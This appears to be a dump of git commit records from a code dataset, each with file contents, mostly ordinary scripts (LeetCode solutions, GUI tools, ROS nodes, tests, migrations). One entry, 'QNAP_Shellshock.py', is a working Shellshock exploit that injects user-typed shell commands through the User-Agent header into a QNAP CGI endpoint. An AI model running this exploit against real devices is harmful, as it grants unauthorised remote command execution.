commit stringlengths 40 40 | subject stringlengths 4 1.73k | repos stringlengths 5 127k | old_file stringlengths 2 751 | new_file stringlengths 2 751 | new_contents stringlengths 1 8.98k | old_contents stringlengths 0 6.59k | license stringclasses 13
values | lang stringclasses 23
values |
|---|---|---|---|---|---|---|---|---|
c657d92f1f8dc3cd4ff9995dc0d2857ce8f6fdd4 | Create CountingBits.py | Chasego/codi,Chasego/codirit,cc13ny/algo,Chasego/cod,Chasego/codi,Chasego/codirit,cc13ny/Allin,cc13ny/algo,Chasego/codi,Chasego/codirit,Chasego/cod,Chasego/codirit,cc13ny/algo,cc13ny/algo,Chasego/codi,cc13ny/Allin,Chasego/cod,cc13ny/Allin,Chasego/cod,cc13ny/Allin,Chasego/codirit,cc13ny/Allin,cc13ny/algo,Chasego/codi,Ch... | leetcode/338-Counting-Bits/CountingBits.py | leetcode/338-Counting-Bits/CountingBits.py | class Solution(object):
def countBits(self, num):
"""
:type num: int
:rtype: List[int]
"""
seed = 1
res = [0]
while num > 0:
res += [res[i] + 1 for i in xrange(min(num, seed))]
num -= seed
seed = seed << 1
r... | mit | Python | |
0cd5ed79f019db91261c0d858b61796021ec3f80 | Add syntax highlighting tests for PEP 570 | tree-sitter/tree-sitter-python,tree-sitter/tree-sitter-python,tree-sitter/tree-sitter-python,tree-sitter/tree-sitter-python,tree-sitter/tree-sitter-python | test/highlight/parameters.py | test/highlight/parameters.py | def g(h, i, /, j, *, k=100, **kwarg):
# ^ operator
# ^ operator
pass
| mit | Python | |
a85f0df776da6c8f39e5d5dbb91370531e4605be | Create GUI-Main.py | ReallyGoodPie/Python-Image-Resizer | GUI-Main.py | GUI-Main.py | #!/usr/bin/env python
import tkinter as tk
import sys, glob, time
from tkinter.filedialog import *
from PIL import Image
_imaging = Image.core
class Application(tk.Frame):
def __init__(self, master=None):
tk.Frame.__init__(self, master)
self.grid()
self.input_directory = StringVar()
self.output_directory =... | apache-2.0 | Python | |
bf6c8ce59ec841b19dab3a02a9065864035d4d82 | Add a new helper to convert stackalytics default_data.json | morucci/repoxplorer,morucci/repoxplorer,morucci/repoxplorer,morucci/repoxplorer | bin/helpers/openstack/stackalytics.py | bin/helpers/openstack/stackalytics.py | import sys
import json
import yaml
import datetime
# Read default_data.json from stackalytics/etc/ and convert for
# repoXplorer.
if __name__ == "__main__":
ident = {'identities': {},
'groups': {}}
data = json.loads(file(sys.argv[1]).read())
users = data['users']
groups = data['companies'... | apache-2.0 | Python | |
367a1ff9f0ca3daae3ee804b5484e3863bb72307 | Add initial proposal tests | rhyolight/nupic.son,rhyolight/nupic.son,rhyolight/nupic.son | tests/views/test_proposal.py | tests/views/test_proposal.py | #!/usr/bin/env python2.5
#
# Copyright 2011 the Melange authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... | apache-2.0 | Python | |
ee4ab0cf3ef08459e1a8ad1cdae370870ba28805 | Create lc1755.py | FiveEye/ProblemSet,FiveEye/ProblemSet | LeetCode/lc1755.py | LeetCode/lc1755.py | class Solution:
def minAbsDifference(self, nums: List[int], goal: int) -> int:
n = len(nums)
nums.sort(key=lambda x: -abs(x))
neg = [0 for _ in range(n+1)]
pos = [0 for _ in range(n+1)]
for i in range(n-1, -1, -1):
if nums[i] < 0:
neg[i] = neg[i+1]... | mit | Python | |
238d031651cb74d0ca9bed9d38cda836049c9c37 | Correct fallback for tag name | daevaorn/sentry,gencer/sentry,zenefits/sentry,beeftornado/sentry,imankulov/sentry,BuildingLink/sentry,looker/sentry,looker/sentry,fotinakis/sentry,JamesMura/sentry,mvaled/sentry,alexm92/sentry,ifduyue/sentry,jean/sentry,beeftornado/sentry,fotinakis/sentry,BuildingLink/sentry,ifduyue/sentry,alexm92/sentry,BuildingLink/s... | src/sentry/api/serializers/models/grouptagkey.py | src/sentry/api/serializers/models/grouptagkey.py | from __future__ import absolute_import
from sentry.api.serializers import Serializer, register
from sentry.models import GroupTagKey, TagKey
@register(GroupTagKey)
class GroupTagKeySerializer(Serializer):
def get_attrs(self, item_list, user):
tag_labels = {
t.key: t.get_label()
fo... | from __future__ import absolute_import
from sentry.api.serializers import Serializer, register
from sentry.models import GroupTagKey, TagKey
@register(GroupTagKey)
class GroupTagKeySerializer(Serializer):
def get_attrs(self, item_list, user):
tag_labels = {
t.key: t.get_label()
fo... | bsd-3-clause | Python |
bc3495acdc9f53e2fa7d750f3dd7bb53826326e3 | Create csvloader.py | taygetea/scatterplot-visualizer | csvloader.py | csvloader.py | import random
import csv
with open('points.csv', 'wb') as csvfile:
writer = csv.writer(csvfile, delimiter=' ',quotechar='|', quoting=csv.QUOTE_MINIMAL)
row = []
for i in range(1000):
row.append(random.randrange(-2000,1000))
row.append(random.randrange(20,1000))
row.append(random.ran... | mit | Python | |
8fe27d56592978a0d2a2e43b07214f982bad2010 | Add intermediate tower 8 | arbylee/python-warrior | pythonwarrior/towers/intermediate/level_008.py | pythonwarrior/towers/intermediate/level_008.py | # -------
# |@ Ss C>|
# -------
level.description("You discover a satchel of bombs which will help "
"when facing a mob of enemies.")
level.tip("Detonate a bomb when you see a couple enemies ahead of "
"you (warrior.look()). Watch out for your health too.")
level.clue("Calling warrior.loo... | mit | Python | |
5e9c0961c381dcebe0331c8b0db38794de39300b | Initialize P01_fantasy_game_inventory | JoseALermaIII/python-tutorials,JoseALermaIII/python-tutorials | books/AutomateTheBoringStuffWithPython/Chapter05/PracticeProjects/P01_fantasy_game_inventory.py | books/AutomateTheBoringStuffWithPython/Chapter05/PracticeProjects/P01_fantasy_game_inventory.py | # This program models a player's inventory from a fantasy game
# You are creating a fantasy video game. The data structure to model the player’s
# inventory will be a dictionary where the keys are string values describing the item
# in the inventory and the value is an integer value detailing how many of that item
# th... | mit | Python | |
b50811f87d10dab0768feed293e239ca98a91538 | fix issue with ptu server and morse topic by correcting and republishing /ptu/state | bfalacerda/strands_apps,strands-project/strands_apps,strands-project/strands_apps,strands-project/strands_apps,bfalacerda/strands_apps,bfalacerda/strands_apps | topic_republisher/scripts/republish_ptu_state.py | topic_republisher/scripts/republish_ptu_state.py | #!/usr/bin/env python
import rospy
from sensor_msgs.msg import JointState
class JointStateRepublisher():
"A class to republish joint state information"
def __init__(self):
rospy.init_node('ptu_state_republisher')
self.pub = rospy.Publisher('/ptu/state', JointState)
rospy.Subscriber("/ptu_state"... | mit | Python | |
007b2d2ce61864e87de368e508fa971864847fc7 | Create findPrimes.py | TylerWitt/py | findPrimes.py | findPrimes.py | # Tyler Witt
# findPrimes.py
# 6.27.14
# ver 1.0
# This function implements the Sieve of Eratosthenes algorithm to find all the prime numbers below lim
def findPrimes(lim):
primes = []
cur = 0
if lim < 2:
return None
for num in range(2, lim + 1):
primes.append(num)
while (primes[cur] ** 2 < lim):
... | mit | Python | |
80f294e134ef684feb8ac700747a65522edf8758 | add new example in the gallery | sequana/sequana,sequana/sequana,sequana/sequana,sequana/sequana,sequana/sequana | examples/plot_kraken.py | examples/plot_kraken.py | """
Kraken module example
=======================
kraken module showing distribution of the most frequent taxons
Please, see :mod:`sequana.kraken` for more information and the
quality_taxon pipeline module or kraken rule.
"""
#This plots a simple taxonomic representation of the output
#of the taxonomic pipeline. A mor... | bsd-3-clause | Python | |
341ca75484b4607eb632d52bf257c8190ebf8a3b | Create fishspine3.py | mattdavie/FishSpine | fishspine3.py | fishspine3.py | #Fish vertebral location code
| cc0-1.0 | Python | |
653ab8128de3c08b6b8be0d662f12ef5a3edf6b2 | Add grafana build rule | clchiou/garage,clchiou/garage,clchiou/garage,clchiou/garage | shipyard/rules/third-party/grafana/build.py | shipyard/rules/third-party/grafana/build.py | from foreman import get_relpath, rule
from garage import scripts
from templates.common import define_distro_packages
GRAFANA_DEB = 'grafana_5.1.4_amd64.deb'
GRAFANA_DEB_URI = 'https://s3-us-west-2.amazonaws.com/grafana-releases/release/grafana_5.1.4_amd64.deb'
GRAFANA_DEB_CHECKSUM = 'sha256-bbec4cf6112c4c2654b679ae... | mit | Python | |
4dd0b349f971cd5ba4842f79a7dba36bf4999b6f | Add Jmol package (#3041) | skosukhin/spack,EmreAtes/spack,LLNL/spack,lgarren/spack,TheTimmy/spack,matthiasdiener/spack,TheTimmy/spack,lgarren/spack,krafczyk/spack,krafczyk/spack,skosukhin/spack,TheTimmy/spack,krafczyk/spack,tmerrick1/spack,tmerrick1/spack,matthiasdiener/spack,LLNL/spack,iulian787/spack,iulian787/spack,EmreAtes/spack,lgarren/spac... | var/spack/repos/builtin/packages/jmol/package.py | var/spack/repos/builtin/packages/jmol/package.py | ##############################################################################
# Copyright (c) 2013-2016, Lawrence Livermore National Security, LLC.
# Produced at the Lawrence Livermore National Laboratory.
#
# This file is part of Spack.
# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved.
# LLNL-CODE-64... | lgpl-2.1 | Python | |
dc635babcf78343bf9490a77d716db89bda2698b | Create __init__.py | chidaobanjiu/MANA2077,chidaobanjiu/MANA2077,chidaobanjiu/MANA2077,chidaobanjiu/Flask_Web,chidaobanjiu/MANA2077,chidaobanjiu/Flask_Web,chidaobanjiu/Loocat.cc,chidaobanjiu/Loocat.cc,chidaobanjiu/MANA2077,chidaobanjiu/Flask_Web,chidaobanjiu/Flask_Web,chidaobanjiu/Loocat.cc,chidaobanjiu/MANA2077 | api_1_0/__init__.py | api_1_0/__init__.py | from flask import Blueprint
api = Blueprint('api', __name__)
from . import authentication, posts, users, comments, errors
| mit | Python | |
7d29c44e19c1f06deb0722a3df51501b39566c4b | Implement simple en/decoding command line tool | fritz0705/flynn | flynn/tool.py | flynn/tool.py | # coding: utf-8
import sys
import argparse
import flynn
import json
def main(args=sys.argv[1:]):
formats = {"json", "cbor", "cbori", "cborh", "cborhi"}
argparser = argparse.ArgumentParser()
argparser.add_argument("-i", "--input-format", choices=formats, default="cbor")
argparser.add_argument("-o", "--output-form... | mit | Python | |
5af92f3905f2d0101eeb42ae7cc51bff528ea6ea | Write bodies given by coordinates to a VTK file | jni/synapse-geometry,janelia-flyem/synapse-geometry | syngeo/io.py | syngeo/io.py | # stardard library
import sys, os
# external libraries
import numpy as np
from ray import imio, evaluate
def add_anything(a, b):
return a + b
def write_synapse_to_vtk(neurons, coords, fn, im=None, t=(2,0,1), s=(1,-1,1),
margin=None):
"""Output neuron shapes around pre- and post-synapse coordinates.
... | bsd-3-clause | Python | |
e6e90cef36551796f7fb06585c67508538ce113f | Create MaxCounters.py | IshwarBhat/codility | Counting-Elements/MaxCounters.py | Counting-Elements/MaxCounters.py | # https://codility.com/demo/results/trainingTC7JSX-8E9/
def solution(N, A):
counters = N * [0]
max_counters = 0
for elem in A:
if elem == N+1:
counters = N * [max_counters]
else:
this_elem = counters[elem-1] + 1
counters[elem-1] = this_elem
if ... | mit | Python | |
ce1d13bc6827f780e44491b630e64df7b52634f1 | add vibration sensor code | qszhuan/raspberry-pi,qszhuan/raspberry-pi,qszhuan/raspberry-pi | gpio/vibration-sendor-test.py | gpio/vibration-sendor-test.py | import RPi.GPIO as GPIO
import time
import datetime
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BCM)
IN_PIN = 18
LED_PIN = 17
GPIO.setup(IN_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(LED_PIN, GPIO.OUT)
GPIO.output(LED_PIN, GPIO.LOW)
def turn_on(led_pin):
GPIO.output(led_pin, GPIO.HIGH)
def turn_off(led_pi... | mit | Python | |
e7ef1806f84e6d07ef88ca23444f37cf6f50e014 | Add a console-less version. | mpasternak/wxMailServer | wxMailServer.pyw | wxMailServer.pyw | # -*- encoding: utf-8 -*-
from wxMailServer import main
if __name__ == "__main__":
main() | mit | Python | |
b419f8c9f562d3d16a6079e949c47ec2adc4c97d | add utility script for merging test files | phate/jive,phate/jive,phate/jive | scripts/merge-tests.py | scripts/merge-tests.py | import sys
c_includes = set()
cxx_includes = set()
jive_includes = set()
local_includes = set()
code_blocks = []
def mangle(fname):
name = fname[6:-2]
name = name.replace('/', '_')
name = name.replace('-', '_')
return name
for fname in sys.argv[1:]:
seen_includes = False
code_lines = []
name = mangle(fname)
... | lgpl-2.1 | Python | |
62e17c30ba45458254c0da5b14582aeeac9eab4c | Add command to pre-generate all jpeg images | Signbank/BSL-signbank,Signbank/BSL-signbank,Signbank/Auslan-signbank,Signbank/Auslan-signbank,Signbank/Auslan-signbank,Signbank/BSL-signbank,Signbank/Auslan-signbank,Signbank/BSL-signbank | signbank/video/management/commands/makejpeg.py | signbank/video/management/commands/makejpeg.py | """Convert a video file to flv"""
from django.core.exceptions import ImproperlyConfigured
from django.core.management.base import BaseCommand, CommandError
from django.conf import settings
from signbank.video.models import GlossVideo
import os
class Command(BaseCommand):
help = 'Create JPEG images for all... | bsd-3-clause | Python | |
83d8199eccf7261a8e2f01f7665537ee31702f8c | Create QNAP_Shellshock.py | atantawy/exploits | QNAP_Shellshock.py | QNAP_Shellshock.py | #!/usr/bin/python
import socket
print "QNAP exploit!"
inputstr=""
ip="x.x.x.x" #Change IP Value
port=8080
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
inputstr=raw_input("cmd> ")
s.connect(ip,port))
s.send("GET /cgi-bin/index.cgi HTTP/1.0\nHost: "+ip+"\nUser-Agent: () { :;}; echo; "+inputstr... | apache-2.0 | Python | |
63c2c7a696aedb1b08d2478a2b84aec42f4364cf | Add tests for URLConverter | kseppi/mrs-mapreduce,byu-aml-lab/mrs-mapreduce | tests/bucket/test_url_converter.py | tests/bucket/test_url_converter.py | from mrs.bucket import URLConverter
def test_local_to_global():
c = URLConverter('myhost', 42, '/my/path')
url = c.local_to_global('/my/path/xyz.txt')
assert url == 'http://myhost:42/xyz.txt'
def test_local_to_global_outside_dir():
c = URLConverter('myhost', 42, '/my/path')
url = c.local_to_glob... | apache-2.0 | Python | |
88cf8e30da6ab655dfc31b2fd88d26ef649e127d | add sha digest tool | congminghaoxue/learn_python | getDigest.py | getDigest.py | #!/usr/bin/env python
# encoding: utf-8
import sys
import hashlib
def getDigest(file):
# BUF_SIZE is totally arbitrary, change for your app!
BUF_SIZE = 65536 # lets read stuff in 64kb chunks!
md5 = hashlib.md5()
sha1 = hashlib.sha1()
with open(file, 'rb') as f:
while True:
da... | apache-2.0 | Python | |
e9acbc2e1423084ddd4241e2fbdcc7fcbf02ad6d | add empty migration as data migration | rsalmaso/django-fluo-coupons,rsalmaso/django-fluo-coupons | coupons/migrations/0005_auto_20151105_1502.py | coupons/migrations/0005_auto_20151105_1502.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('coupons', '0004_auto_20151105_1456'),
]
operations = [
]
| bsd-3-clause | Python | |
3004dec0e0deadc4df61bafb233cd6b277c9bfef | Add in small utility that creates an index on the MongoDB collection, specifically on the Steam ID number key | mulhod/reviewer_experience_prediction,mulhod/reviewer_experience_prediction | util/create_mongodb_index.py | util/create_mongodb_index.py | #!/usr/env python3.4
import sys
from pymongo import ASCENDING
from util.mongodb import connect_to_db
from argparse import (ArgumentParser,
ArgumentDefaultsHelpFormatter)
def main(argv=None):
parser = ArgumentParser(description='Run incremental learning '
... | mit | Python | |
3da9953aa453281fd55ada75b2ed40fce8d9df6c | Create screen_op.py | ninjawil/weather-station,ninjawil/weather-station,ninjawil/weather-station,ninjawil/weather-station,ninjawil/weather-station,ninjawil/weather-station,ninjawil/weather-station | screen_op.py | screen_op.py | #-------------------------------------------------------------------------------
#
# Controls shed weather station
#
# The MIT License (MIT)
#
# Copyright (c) 2015 William De Freitas
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (... | mit | Python | |
754dc2a5bc26a555576970a494a9de0e5026fae1 | Add DTFT demo | jnez71/demos,jnez71/demos | dtft.py | dtft.py | #!/usr/bin/env python3
"""
Using a typical FFT routine and showing the principle
behind the DTFT computation.
"""
import numpy as np
from matplotlib import pyplot
##################################################
# Efficient practical usage
def fft(values, dt):
freqs = np.fft.rfftfreq(len(values), dt)
coeff... | mit | Python | |
f342a3bb330eab74f31f632c81792f93a6e086e8 | Add a script to automate the generation of source distributions for Windows and Linux. | scottza/PyTOPKAPI,sahg/PyTOPKAPI | create_distributions.py | create_distributions.py | """Script to automate the creation of Windows and Linux source distributions.
The TOPKAPI_example directory is also copied and the .svn directories stripped
to make a clean distribution. The manual is included in MSWord format for now
because this is how it's stored in SVN.
This script currently relies on Linux tools... | bsd-3-clause | Python | |
6fd4aefcc70e28d96d7110a903328f24b6fea5e4 | bring back the in RAM version, it uses less RAM, but too much to pass 10M entries I think | warnerpr/zorin | zorin/mreport.py | zorin/mreport.py | import sys
import json
class Site(object):
def __init__(self):
self.op_events = {}
self.chats = set()
self.emails = set()
self.operators = set()
self.visitors = set()
def add_operator_event(self, ts, op, state):
self.op_events[op] = sorted(set(self.op_events.g... | mit | Python | |
a038d9e204bd54e69d5a84427bc9a56b04583460 | Create restart script | globocom/database-as-a-service,globocom/database-as-a-service,globocom/database-as-a-service,globocom/database-as-a-service | dbaas/maintenance/scripts/restart_database.py | dbaas/maintenance/scripts/restart_database.py | from datetime import date, timedelta
from maintenance.models import TaskSchedule
from logical.models import Database
def register_schedule_task_restart_database(hostnames):
today = date.today()
try:
databases = Database.objects.filter(
databaseinfra__instances__hostname__hostname__in=host... | bsd-3-clause | Python | |
93a396fdfc2b4a9f83ffbeb38c6f5a574f61478e | Add initial MeSH update script | clulab/bioresources | scripts/update_mesh.py | scripts/update_mesh.py | import os
import re
import csv
import gzip
import xml.etree.ElementTree as ET
from urllib.request import urlretrieve
def _get_term_names(record, name):
# We then need to look for additional terms related to the
# preferred concept to get additional names
concepts = record.findall('ConceptList/Concept')
... | apache-2.0 | Python | |
6ea2d5af752e4765be8ef433139f72538fa3a2dd | Check that relationships in SsWang are up-to-date | tanghaibao/goatools,tanghaibao/goatools | tests/test_semsim_wang_termwise.py | tests/test_semsim_wang_termwise.py | #!/usr/bin/env python3
"""Test S-value for Table 1 in Wang_2007"""
__copyright__ = "Copyright (C) 2020-present, DV Klopfenstein. All rights reserved."
__author__ = "DV Klopfenstein"
from os.path import join
from sys import stdout
from goatools.base import get_godag
from goatools.semsim.termwise.wang import SsWang
fr... | bsd-2-clause | Python | |
43eb87c1297ac9999f027f275bce94b3e8f4894e | add problem | caoxudong/code_practice,caoxudong/code_practice,caoxudong/code_practice,caoxudong/code_practice | leetcode/14_longest_common_prefix.py | leetcode/14_longest_common_prefix.py | """
Write a function to find the longest common prefix string amongst an array of strings.
If there is no common prefix, return an empty string "".
Example 1:
Input: ["flower","flow","flight"]
Output: "fl"
Example 2:
Input: ["dog","racecar","car"]
Output: ""
Explanation: There is no common prefix among the input str... | mit | Python | |
67c991d5337d92602745fa5fc0a742c0a761e0e9 | Sort Colors | ChuanleiGuo/AlgorithmsPlayground,ChuanleiGuo/AlgorithmsPlayground,ChuanleiGuo/AlgorithmsPlayground,ChuanleiGuo/AlgorithmsPlayground | 75_Sort_Colors.py | 75_Sort_Colors.py | class Solution(object):
def sortColors(self, nums):
"""
:type nums: List[int]
:rtype: void Do not return anything, modify nums in-place instead.
"""
i = 0
j, k = i, len(nums) - 1
while j <= k:
if nums[j] == 0:
nums[i], nums[j] = nu... | mit | Python | |
347f22593a20c5553b9469fad051dbaa34643082 | add test_log_likelihood.py | mit-probabilistic-computing-project/crosscat,fivejjs/crosscat,probcomp/crosscat,mit-probabilistic-computing-project/crosscat,fivejjs/crosscat,probcomp/crosscat,probcomp/crosscat,fivejjs/crosscat,probcomp/crosscat,mit-probabilistic-computing-project/crosscat,probcomp/crosscat,mit-probabilistic-computing-project/crosscat... | crosscat/tests/test_log_likelihood.py | crosscat/tests/test_log_likelihood.py | import argparse
from functools import partial
#
import pylab
pylab.ion()
pylab.show()
#
from crosscat.LocalEngine import LocalEngine
import crosscat.utils.data_utils as du
import crosscat.utils.timing_test_utils as ttu
import crosscat.utils.convergence_test_utils as ctu
parser = argparse.ArgumentParser()
parser.add_a... | apache-2.0 | Python | |
c48d852c2ceb39e6692be1b2c270aa75156e5b5e | Add migrations/0121_….py | lingdb/CoBL-public,lingdb/CoBL-public,lingdb/CoBL-public,lingdb/CoBL-public | ielex/lexicon/migrations/0121_copy_hindi_transliteration_to_urdu.py | ielex/lexicon/migrations/0121_copy_hindi_transliteration_to_urdu.py | # -*- coding: utf-8 -*-
# Inspired by:
# https://github.com/lingdb/CoBL/issues/223#issuecomment-256815113
from __future__ import unicode_literals, print_function
from django.db import migrations
def forwards_func(apps, schema_editor):
Language = apps.get_model("lexicon", "Language")
Meaning = apps.get_model("... | bsd-2-clause | Python | |
da5bd8b1afcffd8a0509a785183ce1474fe7f53c | Create insult.py | devzero-xyz/Andromeda-Plugins | insult.py | insult.py | """By Bowserinator: Insults people :D"""
from utils import add_cmd, add_handler
import utils
import random
name = "insult"
cmds = ["insult"]
insultPattern = [
"That [REPLACE] just cut me off!",
"My boss is a major [REPLACE]!",
"Don't tell her I said this, but that dude she's with is a real [REPLACE]!",
... | mit | Python | |
1a1bf760f9d912f6c19943b58198d947b4e65b84 | Add mraa GPIO test | mythi/intel-iot-refkit,jairglez/intel-iot-refkit,mythi/intel-iot-refkit,ipuustin/intel-iot-refkit,YinThong/intel-iot-refkit,jairglez/intel-iot-refkit,jairglez/intel-iot-refkit,klihub/intel-iot-refkit,YinThong/intel-iot-refkit,klihub/intel-iot-refkit,ipuustin/intel-iot-refkit,klihub/intel-iot-refkit,mythi/intel-iot-refk... | meta-iotqa/lib/oeqa/runtime/sanity/mraa_gpio.py | meta-iotqa/lib/oeqa/runtime/sanity/mraa_gpio.py | from oeqa.oetest import oeRuntimeTest
import unittest
import subprocess
from time import sleep
class MraaGpioTest(oeRuntimeTest):
'''
These tests require to use BeagleBone as testing host
'''
pin = ""
def setUp(self):
(status, output)= self.target.run("mraa-gpio version")
output = o... | mit | Python | |
8b7e84e98ccf0b44d7c6cc6ff23f462ec648d3f0 | add test | Eigenstate/msmbuilder,peastman/msmbuilder,msmbuilder/msmbuilder,mpharrigan/mixtape,Eigenstate/msmbuilder,Eigenstate/msmbuilder,mpharrigan/mixtape,dr-nate/msmbuilder,brookehus/msmbuilder,rafwiewiora/msmbuilder,rafwiewiora/msmbuilder,cxhernandez/msmbuilder,rafwiewiora/msmbuilder,dr-nate/msmbuilder,msultan/msmbuilder,cxhe... | msmbuilder/tests/test_feature_selection.py | msmbuilder/tests/test_feature_selection.py | import numpy as np
from sklearn.feature_selection import VarianceThreshold as VarianceThresholdR
from ..featurizer import DihedralFeaturizer
from ..feature_selection import FeatureSelector, VarianceThreshold
from ..example_datasets import fetch_alanine_dipeptide as fetch_data
FEATS = [
('phi', DihedralFeatur... | import numpy as np
from sklearn.feature_selection import VarianceThreshold as VarianceThresholdR
from ..featurizer import DihedralFeaturizer
from ..feature_selection import FeatureSelector, VarianceThreshold
from ..example_datasets import fetch_alanine_dipeptide as fetch_data
FEATS = [
('phi', DihedralFeatur... | lgpl-2.1 | Python |
e2b74a9978de4a6f15273e3e098379107eb0bec3 | Create 0001_0.py | Yrthgze/prueba-sourcetree2,Show-Me-the-Code/python,Show-Me-the-Code/python,Show-Me-the-Code/python,Yrthgze/prueba-sourcetree2,Yrthgze/prueba-sourcetree2,Yrthgze/prueba-sourcetree2,Show-Me-the-Code/python,Show-Me-the-Code/python,Show-Me-the-Code/python,Yrthgze/prueba-sourcetree2,Yrthgze/prueba-sourcetree2 | pylyria/0001/0001_0.py | pylyria/0001/0001_0.py | # -*- coding: utf-8 -*-
#!/usr/bin/env python
#第 0001 题:做为 Apple Store App 独立开发者,你要搞限时促销,为你的应用生成激活码(或者优惠券),使用 Python 如何生成 200 个激活码(或者优惠券)?
import random
import string
def activation_code(id,length=16):
prefix = hex(int(id))[2:]+'V'
length = length - len(prefix)
chars=string.ascii_uppercase+string.digits
... | mit | Python | |
82f9edd572d440941e7de67398b3fdeb52d5c389 | Add new migration | openego/oeplatform,openego/oeplatform,openego/oeplatform,openego/oeplatform | modelview/migrations/0047_auto_20191021_1525.py | modelview/migrations/0047_auto_20191021_1525.py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.24 on 2019-10-21 13:25
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('modelview', '0046_auto_20191007_1630'),
]
operations = [
migrations.AlterF... | agpl-3.0 | Python | |
45db21e2b4093cbda7976189327467ca3aebe1a3 | add instance serializer | CCI-MOC/GUI-Backend,CCI-MOC/GUI-Backend,CCI-MOC/GUI-Backend,CCI-MOC/GUI-Backend | api/v2/serializers/instance_serializer.py | api/v2/serializers/instance_serializer.py | from core.models import Instance
from rest_framework import serializers
from .identity_summary_serializer import IdentitySummarySerializer
from .user_serializer import UserSerializer
class InstanceSerializer(serializers.ModelSerializer):
identity = IdentitySummarySerializer(source='created_by_identity')
user ... | apache-2.0 | Python | |
3fc5c2a4d3f13dc8062c93dd86fd94f06c35c91d | add an easy echo server by using python | ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study | network/echo-server/echo-iterative/main.py | network/echo-server/echo-iterative/main.py | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
#
# Copyright (c) 2016 ASMlover. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above copyright... | bsd-2-clause | Python | |
48d774b8bdcaa924303b905cef27b4eb13f08fd6 | Add pillar_roots to the wheel system | saltstack/salt,saltstack/salt,saltstack/salt,saltstack/salt,saltstack/salt | salt/wheel/pillar_roots.py | salt/wheel/pillar_roots.py | '''
The `pillar_roots` wheel module is used to manage files under the pillar roots
directories on the master server.
'''
# Import python libs
import os
# Import salt libs
import salt.utils
def find(path, env='base'):
'''
Return a dict of the files located with the given path and environment
'''
# Re... | apache-2.0 | Python | |
07fd61306e645b7240883d5d468f94be5ce8a34c | Add a command to retrieve all triggers | HubbeKing/Hubbot_Twisted | Commands/Triggers.py | Commands/Triggers.py | from IRCResponse import IRCResponse, ResponseType
from CommandInterface import CommandInterface
import GlobalVars
class Command(CommandInterface):
triggers = ["triggers"]
help = "triggers -- returns a list of all command triggers, must be over PM"
def execute(self, Hubbot, message):
if message.Use... | mit | Python | |
b173aa1a6dc1c361d65150c6782db7618a5ff126 | Add simple indexing test. | njase/numpy,rajathkumarmp/numpy,ekalosak/numpy,stefanv/numpy,skymanaditya1/numpy,andsor/numpy,pyparallel/numpy,mingwpy/numpy,AustereCuriosity/numpy,bertrand-l/numpy,ViralLeadership/numpy,dch312/numpy,nguyentu1602/numpy,pizzathief/numpy,jakirkham/numpy,mwiebe/numpy,mingwpy/numpy,naritta/numpy,hainm/numpy,brandon-rhodes/... | benchmarks/simpleindex.py | benchmarks/simpleindex.py | import timeit
# This is to show that NumPy is a poorer choice than nested Python lists
# if you are writing nested for loops.
# This is slower than Numeric was but Numeric was slower than Python lists were
# in the first place.
N = 30
code2 = r"""
for k in xrange(%d):
for l in xrange(%d):
res = a[k,l]... | bsd-3-clause | Python | |
99061bec96a7337e6ddc1d698f00805f84089b3b | Set content headers on download | bepasty/bepasty-server,makefu/bepasty-server,makefu/bepasty-server,bepasty/bepasty-server,makefu/bepasty-server,bepasty/bepasty-server,bepasty/bepasty-server | bepasty/views/download.py | bepasty/views/download.py | # Copyright: 2013 Bastian Blank <bastian@waldi.eu.org>
# License: BSD 2-clause, see LICENSE for details.
from flask import Response, current_app, stream_with_context
from flask.views import MethodView
from ..utils.name import ItemName
from . import blueprint
class DownloadView(MethodView):
def get(self, name):
... | # Copyright: 2013 Bastian Blank <bastian@waldi.eu.org>
# License: BSD 2-clause, see LICENSE for details.
from flask import Response, current_app, stream_with_context
from flask.views import MethodView
from ..utils.name import ItemName
from . import blueprint
class DownloadView(MethodView):
def get(self, name):
... | bsd-2-clause | Python |
5787d3ff813d2c96d0ec2c2fd90f91b93315e564 | Add stub for cliches | amperser/proselint,amperser/proselint,amperser/proselint,amperser/proselint,jstewmon/proselint,jstewmon/proselint,jstewmon/proselint,amperser/proselint | proselint/checks/inprogress/wgd_cliches.py | proselint/checks/inprogress/wgd_cliches.py | """WGD101: Cliches.
---
layout: post
error_code: WGD101
source: write-good
source_url: https://github.com/btford/write-good
title: WGD101: Cliches
date: 2014-06-10 12:31:19
categories: writing
---
Cliches are cliche.
"""
def check(text):
error_code = "WGD101"
msg = "Cliche."
re... | bsd-3-clause | Python | |
9068fd506811113c50886bf9c8f4094b7e1bd7a3 | Add stats.py from week 2. | UI-DataScience/summer2014 | hw3/stats.py | hw3/stats.py | #!/usr/bin/python
# Week 2 Problem 3. Simple statistics.
# Use Python 3 print() function, Python 3 integer division
from __future__ import print_function, division
def get_stats(input_list):
'''
Accepts a list of integers, and returns a tuple of four numbers:
minimum(int), maximum(int), mean(float), and... | mit | Python | |
84f31dfa718a2f557b0058920037265331fd1a3f | Add missing merge migration | cslzchen/osf.io,mfraezz/osf.io,mattclark/osf.io,felliott/osf.io,saradbowman/osf.io,icereval/osf.io,pattisdr/osf.io,caseyrollins/osf.io,aaxelb/osf.io,brianjgeiger/osf.io,HalcyonChimera/osf.io,cslzchen/osf.io,icereval/osf.io,CenterForOpenScience/osf.io,mfraezz/osf.io,brianjgeiger/osf.io,mattclark/osf.io,CenterForOpenScie... | osf/migrations/0099_merge_20180427_1109.py | osf/migrations/0099_merge_20180427_1109.py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.11 on 2018-04-27 16:09
from __future__ import unicode_literals
from django.db import migrations
